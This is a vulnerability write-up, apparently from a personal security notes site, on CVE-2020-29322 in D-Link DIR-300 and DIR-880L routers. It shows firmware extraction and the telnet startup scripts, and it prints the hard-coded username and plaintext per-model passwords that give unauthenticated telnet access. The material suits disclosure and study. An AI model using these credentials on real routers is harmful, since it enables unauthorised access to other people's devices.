> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/d-link/cve-2020-29322.md).

# CVE-2020-29322

A series of old D-Link routers are vulnerable to <mark style="color:red;">credentials disclosure in telnet service</mark> through decompilation of firmware, allowing an unauthenticated attacker to access the telnet service.

Confirmed devices and firmware versions:

| Device Name | Firmware Version | Release Date |
| ----------- | ---------------- | ------------ |
| DIR-300     | 2.06 (latest)    | 2015/04/24   |
| DIR-880L    | 1.07 (latest)    | 2016/05/25   |

***

### DIR-300

Download [DIR-300 firmware version 2.06](https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-300) and extract it using `binwalk`.

```bash
» binwalk -e dir300b_v2.06_f4la.bin
```

Username, <mark style="color:red;">`Alphanetworks`</mark>, is hard-coded under `etc/scripts/misc/telnetd.sh:`

```bash
» cat etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = "true" ]; then
	echo "Start telnetd ..." > /dev/console
	if [ -f "/usr/sbin/login" ]; then
		lf=`rgdb -i -g /runtime/layout/lanif`
		telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
	else
		telnetd &
	fi
fi
```

And the password is referenced to `etc/config/image_sign`:

```bash
» cat etc/config/image_sign
wrgn23_dlwbr_dir300b
```

***

### DIR-880L

Download [DIR-880L firmware version 1.07](https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-880L) and extract it using `binwalk`.

```bash
» binwalk -e DIR880A1_FW107WWb08.bin
```

Username, <mark style="color:red;">`Alphanetworks`</mark>, is hard-coded under `etc/init0.d/S80telnetd.sh:`

```bash
» cat etc/init0.d/S80telnetd.sh 
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
	telnetd -i br0 -t 99999999999999999999999999999 &
	exit
fi

if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
	
	if [ -f "/usr/sbin/login" ]; then
		image_sign=`cat /etc/config/image_sign`
		telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
	else
		telnetd &
	fi 
else
	killall telnetd
fi
```

And the password is referenced to `etc/config/image_sign`:

```bash
» cat etc/config/image_sign
wrgac16_dlink.2013gui_dir880
```